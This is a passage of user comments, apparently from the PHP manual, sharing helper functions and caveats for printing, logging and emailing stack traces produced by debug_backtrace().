        $trace .= '#' . ($k - $ignore) . ' ' . $v['file'] . '(' . $v['line'] . '): ' . (isset($v['class']) ? $v['class'] . '->' : '') . $v['function'] . '(' . implode(', ', $v['args']) . ')' . "\n";
    }

    return $trace;
}
?>
nyoung55 at that_google_mail.com 31-Jan-2013 04:31
Here is a function to cleanly output the debug_backtrace to the error_log

<?php
/*
 * Send the output from a backtrace to the error_log
 * @param string $message Optional message that will be sent the the error_log before the backtrace
 */
function log_trace($message = '') {
    $trace = debug_backtrace();
    if ($message) {
        error_log($message);
    }
    $caller = array_shift($trace);
    $function_name = $caller['function'];
    error_log(sprintf('%s: Called from %s:%s', $function_name, $caller['file'], $caller['line']));
    foreach ($trace as $entry_id => $entry) {
        $entry['file'] = $entry['file'] ? : '-';
        $entry['line'] = $entry['line'] ? : '-';
        if (empty($entry['class'])) {
            error_log(sprintf('%s %3s. %s() %s:%s', $function_name, $entry_id + 1, $entry['function'], $entry['file'], $entry['line']));
        } else {
            error_log(sprintf('%s %3s. %s->%s() %s:%s', $function_name, $entry_id + 1, $entry['class'], $entry['function'], $entry['file'], $entry['line']));
        }
    }
}
?>
Anonymous 30-Jan-2013 08:12
Simple function to get a string in form "filename: [class->][function(): ]"

<?php
function get_caller_info() {
    $c = '';
    $file = '';
    $func = '';
    $class = '';
    $trace = debug_backtrace();
    if (isset($trace[2])) {
        $file = $trace[1]['file'];
        $func = $trace[2]['function'];
        if ((substr($func, 0, 7) == 'include') || (substr($func, 0, 7) == 'require')) {
            $func = '';
        }
    } else if (isset($trace[1])) {
        $file = $trace[1]['file'];
        $func = '';
    }
    if (isset($trace[3]['class'])) {
        $class = $trace[3]['class'];
        $func = $trace[3]['function'];
        $file = $trace[2]['file'];
    } else if (isset($trace[2]['class'])) {
        $class = $trace[2]['class'];
        $func = $trace[2]['function'];
        $file = $trace[1]['file'];
    }
    if ($file != '') $file = basename($file);
    $c = $file . ": ";
    $c .= ($class != '') ? ":" . $class . "->" : "";
    $c .= ($func != '') ? $func . "(): " : "";
    return($c);
}
?>

Usage like:

<?php
function debug($str) {
    echo get_caller_info() . $str . "<br>\n";
}
?>

get_caller_info() will return info about the function /class->method that called debug().
root at jackyyf dot com 22-Dec-2012 12:05
When use register_shutdown_function, and the function called when shutting down, there are no line number nor filename information about this function, only function, class(if possible), type(if possible) and args are provided.
d at rren dot me 04-Oct-2012 07:35
Howdy guys, just a note really - The ['args'] data within the resulting array is supplied by reference. I found myself editing the reference unknowingly which in turn shows its ugly head further down the line if you call multiple backtrace.

<?php
$trace = array_reverse(debug_backtrace());

// LOOP BACKTRACE
$la = 0;
$lb = count($trace);
while ($la<$lb){

    // DATA FROM BACKTRACE
    $trace[$la]['file'];
    $trace[$la]['line'];
    $trace[$la]['args'];
    $trace[$la]['function'];
    // DATA FROM BACKTRACE

    // LOOP ARGUMENTS ARRAY
    $ba = 0;
    $bb = count($trace[$la]['args']);
    while ($ba<$bb){

        $trace[$la]['args'][$ba] = "EDITING A REFERENCE/POINTER";

        $ba++;
    }
    unset($bb);
    unset($ba);
    // LOOP ARGUMENTS ARRAY

    $la++;
}
unset($lb);
unset($la);
// LOOP BACKTRACE
?>
kexianbin at diyism dot com 16-Sep-2012 02:26
need no Xdebug or dbg.so on server, return more detailed message:

diyism_trace.php:
<?php
define(TRACES_MODE, 'TEXTAREA');//'TEXTAREA' or 'FIREPHP'
$GLOBALS['traces.pre']=array();
function my_array_diff($arr1, $arr2)
         {foreach ($arr1 as $k=>$v)
                  {if (in_array($v, $arr2, true))
                      {unset($arr1[$k]);
                      }
                  }
          return $arr1;
         }
function my_var_export($var, $is_str=false)
         {$rtn=preg_replace(array('/Array\s+\(/', '/\[(\d+)\] => (.*)\n/', '/\[([^\d].*)\] => (.*)\n/'), array('array (', '\1 => \'\2\''."\n", '\'\1\' => \'\2\''."\n"), substr(print_r($var, true), 0, -1));
          $rtn=strtr($rtn, array("=> 'array ('"=>'=> array ('));
          $rtn=strtr($rtn, array(")\n\n"=>")\n"));
          $rtn=strtr($rtn, array("'\n"=>"',\n", ")\n"=>"),\n"));
          $rtn=preg_replace(array('/\n +/e'), array('strtr(\'\0\', array(\'    \'=>\'  \'))'), $rtn);
          $rtn=strtr($rtn, array(" Object',"=>" Object'<-"));
          if ($is_str)
             {return $rtn;
             }
          else
              {echo $rtn;
              }
         }
function tick_handler()
         {$tmp=debug_backtrace();
          $trace=my_array_diff($tmp, $GLOBALS['traces.pre']);
          //echo '<pre>';var_export($trace);echo '</pre>';echo '<br/>'; //for debug diyism_trace.php
          $trace=array_values($trace);
          $GLOBALS['traces.pre']=$tmp;
          if (count($trace)>0 && $trace[0]['file'].'/'.@$tmp[1]['function']!==@$GLOBALS['traces'][count($GLOBALS['traces'])-1]['key']) //filter empty array and rearrange array_values(), because some lines will trigger two tick events per line, for example: 1.last line is "some code;questmark>" 2.error_reporting(...
             {for ($i=count($trace)-1; $i>=0; --$i)
                  {$GLOBALS['traces'][]=$tmp_fb=array_merge(array('key'=>$trace[$i]['file'].'/'.@$tmp[$i+1]['function']), $trace[$i], array('function'=>strtr($trace[$i]['function'], array('tick_handler'=>'CONTINUE')), 'in_function'=>@$tmp[$i+1]['function']));
                   TRACES_MODE==='FIREPHP'?fb(trace_output($tmp_fb), 'diyism_trace:'.++$GLOBALS['diyism_trace_no']):'';
                  }
             }
         }
function trace_output($trace)
         {$trace['in_function']=strtr(@$trace['in_function'], array('require'=>'', 'require_once'=>'', 'include'=>'', 'include_once'=>''));
          $trace['args']=$trace['args']?strtr(preg_replace(array('/\n +/'), array(''), preg_replace(array('/\n  \d+ => /'), array(''), substr(my_var_export($trace['args'], true), 7, -3))), array("\r"=>'\r', "\n"=>'\n')):'';
          return $trace['file'].($trace['in_function']?'/'.$trace['in_function'].'()':'').'/'.$trace['line'].': '.$trace['function'].'('.$trace['args'].')';
         }
function traces_output()
         {echo '<textarea style="width:100%;height:300px;">';
          $GLOBALS['traces']=array_slice($GLOBALS['traces'], 2);//remove registering tick line and requiring 'diyism_trace.php' line
          foreach ($GLOBALS['traces'] as $k=>$trace)
                  {echo htmlentities($k.':'.trace_output($trace)."\n");
                  }
          echo '</textarea>';
         }
register_tick_function('tick_handler');
TRACES_MODE==='TEXTAREA'?register_shutdown_function('traces_output'):'';
?>

test.php:
<?php
declare(ticks=1);
require 'diyism_trace.php';

a('a', array('hello'));
1+2;
b();
function a()
         {$d=1;
          b();
          $d=2;
         }
function b()
         {1+1;
         }
?>
ciprian dot stingu at gmail dot com 19-Nov-2011 12:32
A function that i use for debug
I shortened variables name and i eliminated the spaces from second function in order fit in post :(

<?php
define("LFP", './lt.log');
function LogTrace($Argument, $lfn = LFP, $itw = '  ')
{
    error_log("=====\r", 3, $lfn);
    error_log("[BEGIN BACKTRACE]\r", 3, $lfn);
    $it = '';
    $Ts = array_reverse(debug_backtrace());
    foreach($Ts as $T)
       {
        if($T['function'] != 'include' && $T['function'] != 'require' && $T['function'] != 'include_once' && $T['function'] != 'require_once')
        {
            $ft = $it . '<'. basename($T['file']) . '> on line ' . $T['line'];
            if($T['function'] != 'LogTrace')
            {
                if(isset($T['class']))
                    $ft .= ' in method ' . $T['class'] . $T['type'];
                else
                    $ft .= ' in function ';
                $ft .= $Trace['function'] . '(';
            }
            else
                $ft .= '(';
            if(isset($T['args'][0]))
            {
                if($T['function'] != 'LogTrace')
                {
                    $ct = '';
                    foreach($T['args'] as $A)
                    {
                        $ft .= $ct . LogVar($A, '', $it, $itw, 0);
                        $ct = $it . $itw . ',';
                    }
                }
                else
                    $ft .= LogVar($T['args'][0], '', $it, $itw, 0);
            }
            $ft .= $it . ")\r";
            error_log($ft, 3, $lfn);
            $it .= $itw;
        }
    }
    error_log("[END BACKTRACE]\r", 3, $lfn);
}

function LogVar(&$Var, $vn, $pit, $itw, $nlvl, $m = '')
{
    if($nlvl>=16) return;
    if($nlvl==0){$tv=serialize($Var);$tv=unserialize($tv);}
    else $tv=&$Var;
    $it=$pit.$itw;
    for($i=0; $i<$nlvl;$i++) $it.='.'.$itw;
    $o='';$nl="\n";
    if(is_array($tv))
    {
        if(strlen($vn)>0) $o.=$it.$m.'<array> $'.$vn.' = (';
        else $o.="\r".$it.$m.'<array> = (';
        $o.= $nl;$AK=array_keys($tv);
        foreach($AK as $AN) {$AV=&$tv[$AN];$o.=LogVar($AV,$AN,$pit,$itw,$nlvl+1);}
        $o.=$it.')'.$nl;
    }
    else if(is_string($tv))
    {
        if(strlen($vn)>0)$o.=$it.$m.'<string> $'.$vn.' = ';
        else $o.=' '.$m.'<string> = ';
        if($tv===null) $o.='NULL';
        else $o.='"'.$tv.'"';
        $o.=$nl;
    }
    else if(is_bool($tv))
    {
        if(strlen($vn) > 0) $o.=$it.$m.'<boolean> $'.$vn.' = ';
        else $o.=' '.$m.'<boolean> = ';
        if($tv===true) $o.='TRUE';
        else $o.='FALSE';
        $o.=$nl;
    }
    else if(is_object($tv))
    {
        if(strlen($vn)>0)
        {
            $o.=$pit.$itw;
            for($i=0;$i<$nlvl;$i++) $o.='.'.$itw;
            $o.=$m.'<'.get_class($tv).'::$'.$vn.'> = {'.$nl;
        }
        else $o.=' '.$m.'<'.get_class($tv).'::> = {'.$nl;
        $R=new ReflectionClass($tv);
        $o.=$it.'.'.$itw.'Class methods {'.$nl;
        $CM=$R->getMethods();
        foreach($CM as $MN => $MV)
        {
            $o.=$it.'.'.$itw.'.'.$itw.implode(' ',Reflection::getModifierNames($MV->getModifiers())).' '.$MV->getName().'(';
            $MP=$MV->getParameters(); $ct='';
            foreach($MP as $MPN => $MPV)
            {
                $o.=$ct; $o.=$MPV->isOptional()?'[':'';
                if($MPV->isArray()) $o.='<array> ';
                else if($MPV->getClass()!==null) $o.='<'.$MPV->getClass()->getName().'::> ';
                $o.=$MPV->isPassedByReference()?'&':''; $o.='$'.$MPV->getName();
                if($MPV->isDefaultValueAvailable())
                 {
                    if($MPV->getDefaultValue()===null) $o.=' = NULL';
                    else if($MPV->getDefaultValue()===true) $o.=' = TRUE';
                    else if($MPV->getDefaultValue()===false) $o.=' = FALSE';
                    else $o.=' = '.$MPV->getDefaultValue();
                }
                $o.=$MPV->isOptional()?']':''; $ct=', ';
            }
            $o.=')'.$nl;
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Class properties {'.$nl;
        $CV=$R->getProperties();
        foreach($CV as $CN => $CV)
        {
            $M=implode(' ',Reflection::getModifierNames($CV->getModifiers())).' ';
            $CV->setAccessible(true);
            $o.=LogVar($CV->getValue($tv),$CV->getName(),$pit,$itw,$nlvl+2,$M);
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Object variables {'.$nl;
         $OVs=get_object_vars($tv);
        foreach($OVs as $ON => $OV) $o.=LogVar($OV,$ON,$pit,$itw,$nlvl+2);
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$pit.$itw;
        for($i=0;$i<$nlvl;$i++)    $o.='.'.$itw;
        $o.='}'.$nl;
    }
    else
    {
        if(strlen($vn)>0) $o.=$it.$m.'<'.gettype($tv).'> $'.$vn.' = '.$tv;
        else $o.=' '.$m.'<'.gettype($tv).'> = '.$tv;
        $o.=$nl;
    }
    return $o;
}
//test
date_default_timezone_set('Europe/Bucharest');
$date = new DateTime('2010-01-28');
LogTrace($date);
?>
Bill Getas 21-Dec-2010 03:09
Here's my little updated contribution - it prints colorful output in the way I prefer.  Define a helper function isRootIp() that contains an array including your IP; then calls to bt() simply return, so you can sprinkle backtraces in live sites w/o anyone knowing.

<?php
function bt()
{
    if( ! isRootIp() )
    {
        return false;
    }
    array_walk( debug_backtrace(), create_function( '$a,$b', 'print "<br /><b>". basename( $a[\'file\'] ). "</b> &nbsp; <font color=\"red\">{$a[\'line\']}</font> &nbsp; <font color=\"green\">{$a[\'function\']} ()</font> &nbsp; -- ". dirname( $a[\'file\'] ). "/";' ) );
}
?>
henzeberkheij at gmail dot com 10-Oct-2010 02:07
I find it useful to know if a function is being called. in Java for instance you usually print a line with the functionname and arguments in the beginning of the function. I wanted to achieve the same thing in php thus i wrote the following class:

<?php
class Debug
{
    private static $calls;

    public static function log($message = null)
    {
        if(!is_array(self::$calls))
            self::$calls = array();

        $call = debug_backtrace(false);
        $call = (isset($call[1]))?$call[1]:$call[0];

        $call['message'] = $message;
        array_push(self::$calls, $call);
    }
}
?>

include this class before anything else
usage: Debug::log($message); at the beginning of your function.

write yourself a nice printout of the data;
kenorb at gmail dot com 07-Sep-2010 07:11
One line of code to print simplest and shortest human readable backtrace:)
<?php
array_walk(debug_backtrace(),create_function('$a,$b','print "{$a[\'function\']}()(".basename($a[\'file\']).":{$a[\'line\']}); ";'));
?>
php noob 02-Sep-2010 08:32
Surprisingly, no one has described one of the best uses of this: dumping a variable and showing the location. When debugging, especially a big and unfamiliar system, it's a pain remembering where I added those var dumps. Also, this way there is a separator between multiple dump calls.

<?php

function dump( $var ) {
    $result = var_export( $var, true );
    $loc = whereCalled();
    return "\n<pre>Dump: $loc\n$result</pre>";
}

function whereCalled( $level = 1 ) {
    $trace = debug_backtrace();
    $file   = $trace[$level]['file'];
    $line   = $trace[$level]['line'];
    $object = $trace[$level]['object'];
    if (is_object($object)) { $object = get_class($object); }

    return "Where called: line $line of $object \n(in $file)";
}
?>

In addition, calling 'whereCalled()' from any function will quickly identify locations that are doing something unexpected (e.g., updating a property at the wrong time). I'm new to PHP, but have used the equivalent in Perl for years.
jlammertink at gmail dot com 15-Jul-2010 02:32
I use this simple but effective function so i can see which method in the child class called the current method (in the parent class).

<?php
function get_caller_method()
{
    $traces = debug_backtrace();

    if (isset($traces[2]))
    {
        return $traces[2]['function'];
    }

    return null;
}
?>
john dot risken at gmail dot com 25-Feb-2010 10:02
Everybody seems to have their favorite use.  I substitute this function for die().  It gives a message
to the user and emails me a PrettyPrint of what went wrong.  $info is set by me,
and it does a special check in the database object.

<?php
// var_format

function var_format($v) // pretty-print var_export
{
    return (str_replace(array("\n"," ","array"),
array("<br>","&nbsp;","&nbsp;<i>array</i>"),
var_export($v,true))."<br>");
}
function myDie($info)
{
    $mysqlerr=strpos($info,"ERROR=You have an error in your SQL syntax");
    if($mysqlerr>0)$info=substr($info,0,$mysqlerr)." mySql format error";
    $out="<br>MSG='$info'<br>".var_format($_REQUEST)."<br>";
    $bt=debug_backtrace();
    $sp=0;
    $trace="";
    foreach($bt as $k=>$v)
    {
        extract($v);
        $file=substr($file,1+strrpos($file,"/"));
        if($file=="db.php")continue; // the db object
        $trace.=str_repeat("&nbsp;",++$sp); //spaces(++$sp);
        $trace.="file=$file, line=$line, function=$function<br>";
    }
    $out.="<br>".backTrace();
    if(substr($info,0,4)=="XXX ") // special errrors when db is inaccessible
    {
        $out=str_replace("<br>","\n",$out);
        $out=str_replace("&nbsp;"," ",$out);
        mail("me@example.com","Database Execution Error for user ".$REMOTE_ADDR,"$out");
        exit("Database Access Error. Please try again later.");
    }
    mail("me@example.com",'Error Monitor','Execution Error',$out);
    exit("DANG! An execution error in the program has been sent to the webmaster.
If you don't get an email from him soon, please call him.");
}
?>

This produces an output like this

 file=badmode.php, line=5, function=backTrace
  file=login.php, line=209, function=require
   file=midScreen.php, line=264, function=require
    file=masterindex.php, line=161, function=require
     file=production2.php, line=121, function=require
      file=index.php, line=16, function=require
michael dot schramm at gmail dot com 20-Oct-2009 12:29
Be carefull if you are using objects as arguments for function calls!

<?php
error_reporting(E_ALL);

function myPrint($trace){
    foreach($trace as $i=>$call){
        /**
         * THIS IS NEEDED! If all your objects have a __toString function it's not needed!
         *
         * Catchable fatal error: Object of class B could not be converted to string
         * Catchable fatal error: Object of class A could not be converted to string
         * Catchable fatal error: Object of class B could not be converted to string
         */
        if (is_object($call['object'])) { $call['object'] = 'CONVERTED OBJECT OF CLASS '.get_class($call['object']); }
        if (is_array($call['args'])) {
            foreach ($call['args'] AS &$arg) {
                if (is_object($arg)) { $arg = 'CONVERTED OBJECT OF CLASS '.get_class($arg); }
            }
        }

        $trace_text[$i] = "#".$i." ".$call['file'].'('.$call['line'].') ';
        $trace_text[$i].= (!empty($call['object'])?$call['object'].$call['type']:'');
        $trace_text[$i].= $call['function'].'('.implode(', ',$call['args']).')';
    }

    var_dump($trace_text);
}

class A{
    public function test($obj){
        $obj->test();
    }
}

class B{
    public function test(){
        echo myPrint(debug_backtrace());
    }
}

$A = new A();
$B = new B();

$A->test($B);

?>
frank at frank dot com 07-May-2008 11:12
Here is my simple example:
Code printing variable of class which instatiates the printing class.

Well, I am sure you understand when looking at the code:
Print result is: jippii

<?php
class A {

        function something() {
                $s = debug_backtrace();

                $callingObject = $s[1]['object'];
                $test = $callingObject->jip;
                print $test;
        }

}

class B {
      var $jip;

        function execute() {
                $a = new A();
                $this->jip = "jippii";
                $a->something();
        }

}
$control = new B();
$control->execute();
?>
samthor 11-Feb-2008 12:04
Here's a way to get the arguments for an upstream function in your stack (works with class methods, static methods and non-class methods):
<?php
/**
 * getArgs - find arguments of upstream method
 * can be called with, e.g. "funcname", "class::staticmethod", "class->instancemethod".
 */
function getArgs( $target, $subclass_ok = true ) {

    if( strpos( $target, "::" ) ) {
        list( $class, $target ) = explode( "::", $target, 2 );
        $type = "::";
    }
    else if( strpos( $target, "->" ) ) {
        list( $class, $target ) = explode( "->", $target, 2 );
        $type = "->";
    }
    else {
        $type = NULL;
        $class = NULL;
    }
    $class and $class = new ReflectionClass( $class );

    foreach( debug_backtrace() as $obj ) {

        if( $obj['function'] == $target ) {
            if( $type and $obj['type'] == $type ) {
                $_cl = new ReflectionClass( $obj['class'] );
                if( $_cl->getName() == $class->getName() or ( $subclass_ok and $_cl->isSubclassOf( $class ) ) ) {
                    return $obj['args'];
                }
                unset( $_cl );
            }
            else if( !$type ) {
                return $obj['args'];
            }
        }

    }

    return NULL;

}
?>

Some example usage:
<?php
class Foo {
    function test() {
        $args = getArgs( "Foo->base" );
        print( "the parameter 'v' to my call of base was: {$args[0]}\n" );
    }
    function base( $v ) {
        $this->test();
    }
}

$f = new Foo();
$f->base( 713 ); // will print.. ".. my call of base was: 713"

?>

Trust me, there are some reasons for why you might want to do this :)
aryel at iku dot com dot br 29-Jan-2008 02:40
An easy function to pull all details of the debug backtrace:

<?php
function getDebugBacktrace($NL = "<BR>") {
    $dbgTrace = debug_backtrace();
    $dbgMsg .= $NL."Debug backtrace begin:$NL";
    foreach($dbgTrace as $dbgIndex => $dbgInfo) {
        $dbgMsg .= "\t at $dbgIndex  ".$dbgInfo['file']." (line {$dbgInfo['line']}) -> {$dbgInfo['function']}(".join(",",$dbgInfo['args'])")$NL";
    }
    $dbgMsg .= "Debug backtrace end".$NL;
    return $dbgMsg;
}
?>

Then you can call it anywhere you want to get a string with the debug backtrace in readable format (i.e. your error handling function)

<?php
$backtrace = getDebugBacktrace();
echo "Fatal error! Cannot connect to database!";
echo $backtrace;
?>

If you're running on command line, you might want to replace the line split. You can do that thru the function argument:

<?php
$backtrace = getDebugBacktrace("\n");
echo "Error! Server is running out of foos! Dumping error backtrace";
echo $backtrace;
?>

Hope that helps,
Aryel
php at kennel17 dot co dot uk 20-Jun-2007 09:30
Further to my previous note, the 'object' element of the array can be used to get the parent object.  So changing the get_class_static() function to the following will make the code behave as expected:

<?php
    function get_class_static() {
        $bt = debug_backtrace();

        if (isset($bt[1]['object']))
            return get_class($bt[1]['object']);
        else
            return $bt[1]['class'];
    }
?>

HOWEVER, it still fails when being called statically.  Changing the last two lines of my previous example to

<?php
  foo::printClassName();
  bar::printClassName();
?>

...still gives the same problematic result in PHP5, but in this case the 'object' property is not set, so that technique is unavailable.
jsnell at e-normous dot com 30-May-2007 02:35
If you are using the backtrace function in an error handler, avoid using var_export() on the args, as you will cause fatal errors in some situations, preventing you from seeing your stack trace.  Some structures will cause PHP to generate the fatal error "Nesting level too deep - recursive dependency?" This is a design feature of php, not a bug (see http://bugs.php.net/bug.php?id=30471)
kroczu AT interia DOT pl 23-Jan-2007 10:24
<?
// useful and comfortable debug function
// it's show memory usage and time flow between calls, so we can quickly find a block of code that need optimisation...
// example result:
/*
debug example.php> initialize
debug example.php> code-lines: 39-41 time: 2.0002 mem: 19 KB
debug example.php> code-lines: 41-44 time: 0.0000 mem: 19 KB
debug example.php> code-lines: 44-51 time: 0.6343 mem: 9117 KB
debug example.php> code-lines: 51-53 time: 0.1003 mem: 9117 KB
debug example.php> code-lines: 53-55 time: 0.0595 mem: 49 KB
 */

function debug()
{
   static $start_time = NULL;
   static $start_code_line = 0;

   $call_info = array_shift( debug_backtrace() );
   $code_line = $call_info['line'];
   $file = array_pop( explode('/', $call_info['file']));

   if( $start_time === NULL )
   {
       print "debug ".$file."> initialize\n";
       $start_time = time() + microtime();
       $start_code_line = $code_line;
       return 0;
   }

   printf("debug %s> code-lines: %d-%d time: %.4f mem: %d KB\n", $file, $start_code_line, $code_line, (time() + microtime() - $start_time), ceil( memory_get_usage()/1024));
   $start_time = time() + microtime();
   $start_code_line = $code_line;
}

////////////////////////////////////////////////
// example:

debug();
sleep(2);
debug();
// soft-code...
$a = 3 + 5;
debug();

// hard-code
for( $i=0; $i<100000; $i++)
{
    $dummy['alamakota'.$i] = 'alamakota'.$i;
}
debug();
usleep(100000);
debug();
unset($dummy);
debug();

?>
seaside dot ki at mac dot com 14-Dec-2006 04:20
I've started creating an external debug server for PHP. A PHP app require_once's a TADebugger(), which communicates with the debug sever. Find the OS X universal binary here [PHP source sample included]:

   http://www.turingart.com/downloads/phpDebugger.zip

Currently, TADebugger allows to post these properties back to the debug server:

- Call backtraces
- String messages
- Source files, which were referenced by a backtrace call

Note, that the binary is a early version.
icefragment at gmail dot com 23-Sep-2006 09:34
A simple python-like backtrace. Note that I don't recurse into arrays if they are passed as arguments to functions.

function backtrace()
{
    $bt = debug_backtrace();

    echo("<br /><br />Backtrace (most recent call last):<br /><br />\n");
    for($i = 0; $i <= count($bt) - 1; $i++)
    {
        if(!isset($bt[$i]["file"]))
            echo("[PHP core called function]<br />");
        else
            echo("File: ".$bt[$i]["file"]."<br />");

        if(isset($bt[$i]["line"]))
            echo("&nbsp;&nbsp;&nbsp;&nbsp;line ".$bt[$i]["line"]."<br />");
        echo("&nbsp;&nbsp;&nbsp;&nbsp;function called: ".$bt[$i]["function"]);

        if($bt[$i]["args"])
        {
            echo("<br />&nbsp;&nbsp;&nbsp;&nbsp;args: ");
            for($j = 0; $j <= count($bt[$i]["args"]) - 1; $j++)
            {
                if(is_array($bt[$i]["args"][$j]))
                {
                    print_r($bt[$i]["args"][$j]);
                }
                else
                    echo($bt[$i]["args"][$j]);

                if($j != count($bt[$i]["args"]) - 1)
                    echo(", ");
            }
        }
        echo("<br /><br />");
    }
}
zmorris at mac dot com 20-Sep-2006 07:48
Hi, I got tired of using a trace( $message, __FILE__, __LINE__ ) function I made.  It forced me to include the file and line params (since php doesn't have macros) so I decided to make an alternative.

Simply call this new version using trace( 'my message' ); and it prints out a stack trace in a clearer way than the one stored in the debug_backtrace() array.  It handles traces from outside of functions, traces in nested functions, and traces in included files, and also displays the function in a way that can be pasted right back into your php code for faster testing!

NOTE - be sure to save your files with the correct line endings for the line numbers to work correctly, which for Mac OS X is unix.  You can get to this option in the popup menu in the toolbar at the top of each window in BBEdit.

<?php

function    print_var( $var )
{
   if( is_string( $var ) )
       return( '"'.str_replace( array("\x00", "\x0a", "\x0d", "\x1a", "\x09"), array('\0', '\n', '\r', '\Z', '\t'), $var ).'"' );
   else if( is_bool( $var ) )
   {
       if( $var )
           return( 'true' );
       else
           return( 'false' );
   }
   else if( is_array( $var ) )
   {
       $result = 'array( ';
       $comma = '';
       foreach( $var as $key => $val )
       {
           $result .= $comma.print_var( $key ).' => '.print_var( $val );
           $comma = ', ';
       }
       $result .= ' )';
       return( $result );
   }

   return( var_export( $var, true ) );    // anything else, just let php try to print it
}

function    trace( $msg )
{
   echo "<pre>\n";

   //var_export( debug_backtrace() ); echo "</pre>\n"; return;    // this line shows what is going on underneath

   $trace = array_reverse( debug_backtrace() );
   $indent = '';
   $func = '';

   echo $msg."\n";

   foreach( $trace as $val)
   {
       echo $indent.$val['file'].' on line '.$val['line'];

       if( $func ) echo ' in function '.$func;

       if( $val['function'] == 'include' ||
           $val['function'] == 'require' ||
           $val['function'] == 'include_once' ||
           $val['function'] == 'require_once' )
           $func = '';
       else
       {
           $func = $val['function'].'(';

           if( isset( $val['args'][0] ) )
           {
               $func .= ' ';
               $comma = '';
               foreach( $val['args'] as $val )
               {
                   $func .= $comma.print_var( $val );
                   $comma = ', ';
               }
               $func .= ' ';
           }

           $func .= ')';
       }

       echo "\n";

       $indent .= "\t";
   }

   echo "</pre>\n";
}

trace( 'error outside function' );

function    test( $param1, $param2, $param3, $param4 )
{
   trace( 'error in test()' );
}

test( 1.1, "param2\n", array( 1 => "a\n", "b\n" => 2 ), false );

?>
admin at sgssweb dot com 13-Aug-2006 02:30
Surprizingly, debug_backtrace() cannot aquire arguments from the function that is used as the second or later argument of a function.

<?php

function a($p) {
    $backtrace = debug_backtrace();

    if (isset($backtrace[0]['args']))
        var_export($backtrace[0]['args']);
    else
        echo "Cannot aquire arguments";
    echo "<br />";

    return $p;
}

function b($p1, $p2, $p3) {
    echo "$p1, $p2, $p3";
}

// This outputs:
//    array ( 0 => 'First a', )
//    Cannot aquire arguments
//    Cannot aquire arguments
//    First a, Second a, Third a
b(a("First a"), a("Second a"), a("Third a"));

?>
http://synergy8.com 13-Dec-2005 10:37
It should be noted that if an internal php function such as call_user_func in the backtrace, the 'file' and 'line' entries will not be set.

Most debug tracers will use these entries.  You should place a check to see if the key exists in the array before using this function.  Otherwise notices will be generated.

<?php

$arrTrace = debug_backtrace();

foreach ($arrTrace as $arr)
{
    if (!isset ($arr['file']))
    {
        $arr['file'] = '[PHP Kernel]';
    }

    if (!isset ($arr['line']))
    {
        $arr['line'] = '';
    }

    // Do something
}

?>
spagmoid at yahoo dot NOSPAMcom 09-Dec-2003 11:47
ATTN: jlim#natsoft.com.my

Great function, but you have a few bugs.

At the line:
foreach($arr['args'] as $v)

Change it to:
$args = array();
if(!empty($arr['args'])) foreach($arr['args'] as $v)

And since line & file are not present in the array if calling from the error handler,

$Line = (isset($arr['line'])? $arr['line'] : "unknown");
$File = (isset($arr['file'])? $arr['file'] : "unknown");

and substitute accordingly.

Here's my version of it, alas with different formatting:
----------------------------------------

function DBG_GetBacktrace()
{
    $s = '';
    $MAXSTRLEN = 64;

    $s = '<pre align=left>';
    $traceArr = debug_backtrace();
    array_shift($traceArr);
    $tabs = sizeof($traceArr)-1;
    foreach($traceArr as $arr)
    {
        for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
        $tabs -= 1;
        $s .= '<font face="Courier New,Courier">';
        if (isset($arr['class'])) $s .= $arr['class'].'.';
        $args = array();
        if(!empty($arr['args'])) foreach($arr['args'] as $v)
        {
            if (is_null($v)) $args[] = 'null';
            else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
            else if (is_object($v)) $args[] = 'Object:'.get_class($v);
            else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
            else
            {
                $v = (string) @$v;
                $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                if (strlen($v) > $MAXSTRLEN) $str .= '...';
                $args[] = "\"".$str."\"";
            }
        }
        $s .= $arr['function'].'('.implode(', ',$args).')</font>';
        $Line = (isset($arr['line'])? $arr['line'] : "unknown");
        $File = (isset($arr['file'])? $arr['file'] : "unknown");
        $s .= sprintf("<font color=#808080 size=-1> # line %4d, file: <a href=\"file:/%s\">%s</a></font>",
            $Line, $File, $File);
        $s .= "\n";
    }
    $s .= '</pre>';
    return $s;
}
bernyregeling AT hotmail DOT com 08-Aug-2003 04:29
I wrote this function, in addition to jlim, for a nice NO-HTML output.

Thee result has similarities to a Java-error. Hope you like it.

(BTW, this function exits the script too, if debug_backtrace is displayed)
------------------------------
    function debug_bt()
    {
        if(!function_exists('debug_backtrace'))
        {
            echo 'function debug_backtrace does not exists'."\r\n";
            return;
        }
        //echo '<pre>';
        echo "\r\n".'----------------'."\r\n";
        echo 'Debug backtrace:'."\r\n";
        echo '----------------'."\r\n";
        foreach(debug_backtrace() as $t)
        {
            echo "\t" . '@ ';
            if(isset($t['file'])) echo basename($t['file']) . ':' . $t['line'];
            else
            {
                // if file was not set, I assumed the functioncall
                // was from PHP compiled source (ie XML-callbacks).
                echo '<PHP inner-code>';
            }

            echo ' -- ';

            if(isset($t['class'])) echo $t['class'] . $t['type'];

            echo $t['function'];

            if(isset($t['args']) && sizeof($t['args']) > 0) echo '(...)';
            else echo '()';

            echo "\r\n";
        }
        //echo '</pre>';
        exit;
         }
jlim#natsoft.com.my 13-Mar-2003 05:51
Pretty print the backtrace(). Functions are indented based on call value, and file is linked using file:// for convenience.

Enjoy, John Lim

    function adodb_backtrace($print=true)
    {
        $s = '';
        if (PHPVERSION() >= 4.3) {

            $MAXSTRLEN = 64;

            $s = '<pre align=left>';
            $traceArr = debug_backtrace();
            array_shift($traceArr);
            $tabs = sizeof($traceArr)-1;
            foreach ($traceArr as $arr) {
                for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
                $tabs -= 1;
                $s .= '<font face="Courier New,Courier">';
                if (isset($arr['class'])) $s .= $arr['class'].'.';
                foreach($arr['args'] as $v) {
                    if (is_null($v)) $args[] = 'null';
                    else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
                    else if (is_object($v)) $args[] = 'Object:'.get_class($v);
                    else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
                    else {
                        $v = (string) @$v;
                        $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                        if (strlen($v) > $MAXSTRLEN) $str .= '...';
